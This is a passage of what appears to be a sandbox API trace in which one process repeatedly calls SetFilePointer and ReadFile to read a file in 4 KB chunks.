lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x26000 [0275.465] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.466] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x27000 [0275.466] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.466] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x28000 [0275.466] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.466] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x29000 [0275.467] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.467] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x2a000 [0275.467] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.467] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x2b000 [0275.467] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.468] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x2c000 [0275.468] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.469] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x2d000 [0275.469] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.470] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x2e000 [0275.470] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.472] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x2f000 [0275.472] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.472] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x30000 [0275.472] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.473] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x31000 [0275.473] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.473] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x32000 [0275.473] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.474] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x33000 [0275.474] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.474] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x34000 [0275.474] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.474] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x35000 [0275.474] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.474] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x36000 [0275.475] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.475] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x37000 [0275.475] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.475] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x38000 [0275.475] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.475] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x39000 [0275.476] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.476] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x3a000 [0275.476] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.476] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x3b000 [0275.476] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.476] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x3c000 [0275.476] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.477] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x3d000 [0275.477] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.477] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x3e000 [0275.477] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.477] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x3f000 [0275.477] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.478] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x40000 [0275.478] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.478] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x41000 [0275.478] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.478] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x42000 [0275.478] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.478] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x43000 [0275.479] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.479] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x44000 [0275.479] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.479] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x45000 [0275.479] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.479] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x46000 [0275.479] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.480] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x47000 [0275.480] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.480] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x48000 [0275.480] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.480] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x49000 [0275.480] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.480] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x4a000 [0275.480] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.481] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x4b000 [0275.481] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.481] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x4c000 [0275.481] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.481] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x4d000 [0275.481] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.481] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x4e000 [0275.482] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.483] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x4f000 [0275.484] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.484] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x50000 [0275.484] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.484] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x51000 [0275.484] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.484] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x52000 [0275.484] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.485] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x53000 [0275.485] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.485] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x54000 [0275.485] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.485] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x55000 [0275.485] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.485] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x56000 [0275.486] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.486] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x57000 [0275.486] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.486] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x58000 [0275.486] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.486] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x59000 [0275.486] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.487] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x5a000 [0275.487] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.487] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x5b000 [0275.487] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, lpOverlapped=0x0) returned 1 [0275.487] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7c5c8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7c5c8*=0) returned 0x5c000 [0275.487] ReadFile (in: hFile=0x3fc, lpBuffer=0x25ac0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7c648, lpOverlapped=0x0 | out: lpBuffer=0x25ac0c0*, lpNumberOfBytesRead=0x1bb7c648*=0x1000, 